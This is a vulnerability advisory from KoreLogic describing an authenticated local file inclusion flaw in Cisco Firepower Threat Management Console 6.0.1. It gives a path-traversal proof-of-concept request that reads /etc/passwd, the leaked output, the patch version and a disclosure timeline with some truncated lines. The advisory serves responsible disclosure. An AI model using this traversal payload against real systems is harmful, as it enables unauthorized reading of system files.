KL-001-2016-006 : Cisco Firepower Threat Management Console Local File Inclusion
Title: Cisco Firepower Threat Management Console Local File Inclusion
Advisory ID: KL-001-2016-006
Publication Date: 2016.10.05
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-006.txt
1. Vulnerability Details
Affected Vendor: Cisco
Affected Product: Firepower Threat Management Console
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)
Platform: Embedded Linux
CWE Classification: CWE-73: External Control of File Name or Path
Impact: Information Disclosure
Attack vector: HTTP
2. Vulnerability Description
An authenticated user can access arbitrary files on the local system.
3. Technical Description
Requests that take a file path do not properly filter what files can
be requested. The webserver does not run as root, so files such as
/etc/shadow are not readable.
GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0)
Accept-Encoding: gzip, deflate, br
HTTP/1.1 200 OK
Date: Fri, 22 Apr 2016 23:58:41 GMT
Content-Disposition: attachment; filename=passwd
sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin
sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin
4. Mitigation and Remediation Recommendation
The vendor has issued a patch for this vulnerability
in version 6.1. Vendor acknowledgement available at:
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.
2016.06.30 - Cisco acknowledges receipt of vulnerability report.
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for
this vulnerability and for 3 others reported in the
2016.08.12 - 30 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.02 - 45 business days have elapsed since the vulnerability was
reported to Cisco.
2016.09.09 - KoreLogic asks for an update on the status of the
2016.09.15 - Cisco confirms remediation is underway and soon to be
2016.09.28 - Cisco informs KoreLogic that the remediation details will
be released publicly on 2016.10.05.
2016.10.05 - Public disclosure.
7. Proof of Concept
See Technical Description
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